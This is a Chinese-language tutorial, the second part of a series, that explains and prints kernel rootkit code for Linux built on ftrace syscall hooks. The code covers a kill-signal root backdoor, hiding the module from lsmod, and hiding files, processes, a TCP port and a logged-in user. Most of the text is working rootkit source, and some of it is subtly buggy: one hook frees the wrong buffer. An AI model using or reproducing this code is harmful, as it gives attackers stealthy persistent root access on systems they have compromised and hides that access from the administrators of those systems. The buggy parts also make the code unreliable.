在上一篇Linux内核级rootkit技术剖析(上)中,介绍了ftrace是如何对syscall进行hook的,并且将mkdir系统调用替换为了我们自定义的函数。本篇文章讲将讲解rootkit的一些核心技术,包括root后门、隐藏内核模块、隐藏目录、隐藏用户和端口、隐藏进程各方面技术分析。
我们在使用kill命令时,实际上是发送了一个SIGKILL信号交给了sys_kill来处理,另外还有Ctrl+C发送SIGINT表示中断信号。实际上这些SIG信号都是数字,定义于signal.h文件中。我们可以利用这一点,自定义一个信号,然后hook sys_kill函数,在发送特定信号时让sys_kill返回一个root shell。
void set_root(void)
{
struct cred *root;
root = prepare_creds();
if (root == NULL)
return;
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
commit_creds(root);
}
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);
int sig = regs->si;
if (sig == 64)
{
printk(KERN_INFO "rootkit: giving root...n");
set_root();
return 0;
}
return orig_kill(regs);
}
重要函数:
-
prepare_creds是一个内核函数,它会分配并初始化一个cred对象。当我们设置好cred结构体的uid和gid之后,使用commit_creds将cred提交到当前进程。 -
我们使用SIG 64作为root shell的信号。
当我们在命令行输入kill -64 1
时,即可获得一个root shell。
实际上在安装好rootkit内核模块之后,用户可以通过lsmod命令查看当前安装的内核模块,出于隐蔽性方面的考虑,我们需要对其进行隐藏。当然,在隐藏内核模块之前,需要了解lsmod显示内核模块的原理。
内核模块都会关联到一个THIS_MODULE
,它最终指向一个module结构体:
#ifdef MODULE
extern struct module __this_module;
#define THIS_MODULE (&__this_module)
#else
#define THIS_MODULE ((struct module *)0)
#endif
然后这个module结构体中存在一个双向链表list:
struct module {
enum module_state state;
/* Member of list of modules */
struct list_head list;
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
......
举个简单例子来了解双向链表:
struct my_object entry1, entry2, entry3;
entry1.prev = NULL;
entry1.next = &entry2;
entry2.prev = &entry1;
entry2.next = &entry3;
entry3.prev = &entry2;
entry3.next = NULL;
实际上lsmod就是通过module中的list链表来遍历当前系统中安装的模块,可以通过以下测试代码来验证这个链表的存在:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Linked Lists Example");
MODULE_VERSION("0.01");
static int __init rootkit_init(void)
{
printk(KERN_INFO "rootkit: Loaded >:-)n");
struct list_head *next_position = (&THIS_MODULE->list)->next;
struct list_head *prev_position = (&THIS_MODULE->list)->prev;
struct module *next_ptr = NULL;
struct module *prev_ptr = NULL;
next_ptr = list_entry( next_position, struct module, list);
prev_ptr = list_entry( prev_position, struct module, list);
printk(KERN_DEBUG "rootkit: next kernel module = %sn", next_ptr->name);
printk(KERN_DEBUG "rootkit: prev kernel module = %sn", prev_ptr->name);
return 0;
}
static void __exit rootkit_exit(void)
{
printk(KERN_INFO "rootkit: Unloaded :(n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
运行结果如下(结果中prev为空,是因为我们这个rootkit是链表中的第一个模块):
$ sudo insmod rootkit.ko
$ dmesg
[12956.924033] rootkit: Loaded >:-)
[12956.924034] rootkit: next kernel module = ufs
[12956.924034] rootkit: prev kernel module =
不难想到的是,我们可以通过删除rootkit模块的链表信息,这样lsmod就不会再向用户显示模块了,但它又存在于系统中,这样就达到了隐藏目的。如何删除链表中的对象呢?内核其实已经有了对于链表的操作函数,比如list_del、list_add等等。我们借用kill启动后门的思路,为kill命令定义一个隐藏模块的信号,当接收到信号时,是用list_del函数删除链表中的指针。实现代码如下:
static struct list_head *prev_module;
void hideme(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void showme(void)
{
list_add(&THIS_MODULE->list, prev_module);
}
static short hidden = 0;
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void showme(void);
void hideme(void);
int sig = regs->si;
if ( (sig == 64) && (hidden == 0) )
{
printk(KERN_INFO "rootkit: hiding rootkit!n");
hideme();
hidden = 1;
}
else if ( (sig == 64) && (hidden == 1) )
{
printk(KERN_INFO "rootkit: revealing rootkit!n");
showme();
hidden = 0;
}
else
return orig_kill(regs);
}
需要注意一点的是,如果隐藏了内核模块,在使用rmmod时将会失败,这是因为rmmod实际上也是通过遍历链表的方式来查找卸载模块的。
rootkit通常会带有文件隐藏的功能,可用于rootkit远程下载文件后进行隐藏。为了使ls命令不显示目录下的文件,首先还是要搞清楚ls命令做了什么。
通过strace命令,得知ls命令最终会调用到getdents64系统调用(32位为getdents)。getdents64定义如下:
SYSCALL_DEFINE3(getdents64, unsigned int, fd,
struct linux_dirent64 __user *, dirent, unsigned int, count)
第二个参数是一个linux_dirent64结构体:
struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[];
};
其中的d_reclen表示结构的总大小,d_name是名称字符串,我们可以对比d_name来遍历查找我们想要的隐藏的文件。另外在strace ls得到的结果中还可以得到一条有用信息:
getdents64(3, 0x55d9b3dc1400 /* 19 entries */, 32768) = 600
这表示它已经将600字节写入了内核缓冲区中,如果我们想要隐藏文件名的话,我们必须在内核缓冲区中将其全部修改为0字符,然后找到并跳过这些条目。具体代码如下:
#include <linux/dirent.h>
#define PREFIX "boogaloo"
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
/* Declare the previous_dir struct for book-keeping */
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
int ret = orig_getdents64(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
long error;
error = copy_from_user(dirent_ker, dirent, ret);
if(error)
goto done;
while (offset < ret)
{
current_dir = (void *)dirent_ker + offset;
if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
{
/* Check for the special case when we need to hide the first entry */
if( current_dir == dirent_ker )
{
/* Decrement ret and shift all the structs up in memory */
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* Hide the secret entry by incrementing d_reclen of previous_dir by
* that of the entry we want to hide - effectively "swallowing" it
*/
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* Set previous_dir to current_dir before looping where current_dir
* gets incremented to the next entry
*/
previous_dir = current_dir;
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if(error)
goto done;
done:
kfree(dirent_ker);
return ret;
}
整体过程:
-
先执行正常的getdents64获得长度 -
分配一个相同大小的内存,初始化为0 -
循环查找,直到找到“boogaloo”文件名 -
通过增加 previous_dir 的 d_reclen 将我们想隐藏的条目跳过,达到隐藏效果。在else中,循环之前将 previous_dir 设置为 current_dir,其中 current_dir 递增到下一个条目。
最后完全隐藏了名为boogaloo_secret_file的文件,效果如下:
文件其实仍然存在,可以正常打开、删除等操作,但并不会出现在ls命令中。
隐藏进程其实比较简单。要知道在Linux中,用户空间的所有用于读取PID的工具都只是读取了/proc目录下的文件而已。那么我们可以通过像隐藏目录的方式去将/proc目录下的PID目录隐藏即可。但实际上PID是随机的,没办法通过硬编码的方式写死在rootkit中。
我们其实可以通过之前hook kill命令的方式来做。sys_kill会自己向内核发送一个PID号,那么这时候我们只需要自定义一个rootkit命令,让其隐藏/proc下的条目即可。
asmlinkage int hook_kill(const struct pt_regs *regs)
{
pid_t pid = regs->di;
int sig = regs->si;
if ( sig == 64 )
{
/* If we receive the magic signal, then we just sprintf the pid
* from the intercepted arguments into the hide_pid string */
printk(KERN_INFO "rootkit: hiding process with pid %dn", pid);
sprintf(hide_pid, "%d", pid);
return 0;
}
return orig_kill(regs);
}
其中hide_pid是我们在kill命令中输入的PID号。最终结果如下图:
tcp4_seq_show函数定义如下:
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_state *st;
struct sock *sk = v;
此函数将第二个参数v转化为sock结构体,sock结构体中保存了许多成员,但我们只关心第一个sock_common结构体:
struct sock {
/*
* Now struct inet_timewait_sock also uses sock_common, so please just
* don't add nothing before this first member (__sk_common) --acme
*/
struct sock_common __sk_common;
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
.......
struct sock_common {
/* skc_daddr and skc_rcv_saddr must be grouped on a 8 bytes aligned
* address on 64bit arches : cf INET_MATCH()
*/
union {
__addrpair skc_addrpair;
struct {
__be32 skc_daddr;
__be32 skc_rcv_saddr;
};
};
union {
unsigned int skc_hash;
__u16 skc_u16hashes[2];
};
/* skc_dport && skc_num must be grouped as well */
union {
__portpair skc_portpair;
struct {
__be16 skc_dport;
__u16 skc_num;
};
};
......
其中skc_dport字段就是存储端口号的结构体成员,那么我们只需在此结构体进行解析的时候,让其直接跳过tcp4_seq_show解析然后返回即可。rootkit实现如下:
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
struct inet_sock *is;
long ret;
unsigned short port = htons(8080);
if (v != SEQ_START_TOKEN) {
is = (struct inet_sock *)v;
if (port == is->inet_sport || port == is->inet_dport) {
printk(KERN_DEBUG "rootkit: sport: %d, dport: %dn",
ntohs(is->inet_sport), ntohs(is->inet_dport));
return 0;
}
}
ret = orig_tcp4_seq_show(seq, v);
return ret;
}
实现效果如下:
在Linux中可以使用who命令来查看当前登录用户,而who命令实际上是使用openat和pread读取了/var/run/utmp文件,然后进行解析再返回给用户。
那么如果要隐藏用户的话,不难想到的是hook openat和pread函数,在它们读取内容后,将我们想要隐藏的内容置为0,这样在显示时便不会显示用户了,这实际上跟之前的例子相同,这里就不再重复解释原理了。但还存在一个问题,就是open和pread函数在底层有许多地方调用,这就需要我们去判断openat打开的文件是否是/var/run/utmp,然后再去hook pread之后的内容。实现代码如下:
int tamper_fd;
/* Declaration for the real sys_openat() - pointer fixed by Ftrace */
static asmlinkage long (*orig_openat)(const struct pt_regs *);
/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs *regs)
{
/*
* Pull the filename out of the regs struct
*/
char *filename = (char *)regs->si;
char *kbuf;
char *target = "/var/run/utmp";
int target_len = 14;
long error;
/*
* Allocate a kernel buffer to copy the filename into
* If it fails, just return the real sys_openat() without delay
*/
kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
if(kbuf == NULL)
return orig_openat(regs);
/*
* Copy the filename from userspace into the kernel buffer
* If it fails, just return the real sys_openat() without delay
*/
error = copy_from_user(kbuf, filename, NAME_MAX);
if(error)
return orig_openat(regs);
/*
* Compare the filename to "/var/run/utmp"
* If we get a match, call orig_openat(), save the result in tamper_fd,
* and return after freeing the kernel buffer. We just about get away with
* this delay between calling and returning
*/
if ( memcmp(kbuf, target, target_len) == 0 )
{
tamper_fd = orig_openat(regs);
kfree(kbuf);
return tamper_fd;
}
/*
* If we didn't get a match, then just need to free the buffer and return
*/
kfree(kbuf);
return orig_openat(regs);
}
static asmlinkage long (*orig_pread64)(const struct pt_regs *);
/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs *regs)
{
/*
* Pull the arguments we need out of the regs struct
*/
int fd = regs->di;
char *buf = (char *)regs->si;
size_t count = regs->dx;
char *kbuf;
struct utmp *utmp_buf;
long error;
int i, ret;
/*
* Check that fd = tamper_fd and that we're not messing with STDIN,
* STDOUT or STDERR
*/
if ( (tamper_fd == fd) &&
(tamper_fd != 0) &&
(tamper_fd != 1) &&
(tamper_fd != 2) )
{
/*
* Allocate the usual kernel buffer
* The count argument from rdx is the size of the buffer (should be 384)
*/
kbuf = kzalloc(count, GFP_KERNEL);
if( kbuf == NULL)
return orig_pread64(regs);
/*
* Do the real syscall, save the return value in ret
* buf will then hold a utmp struct, but we need to copy it into kbuf first
*/
ret = orig_pread64(regs);
error = copy_from_user(kbuf, buf, count);
if (error != 0)
return ret;
/*
* Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
*/
utmp_buf = (struct utmp *)kbuf;
if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
{
/*
* If we get a match, then we can just overwrite kbuf with 0x0
*/
for ( i = 0 ; i < count ; i++ )
kbuf[i] = 0x0;
/*
* Copy kbuf back to the userspace buf
*/
error = copy_to_user(buf, kbuf, count);
kfree(kbuf);
return ret;
}
/*
* We intercepted a sys_pread64() to /var/run/utmp, but this entry
* isn't about HIDDEN_USER, so just free the kernel buffer and return
*/
kfree(buf);
return ret;
}
/*
* This isn't a sys_pread64() to /var/run/utmp, do nothing
*/
return orig_pread64(regs);
}
由于hook了openat和pread,对系统性能其实影响其实是比较大的,这也算是一个缺陷。
原文始发于微信公众号(山石网科安全技术研究院):Linux内核级rootkit技术剖析(下)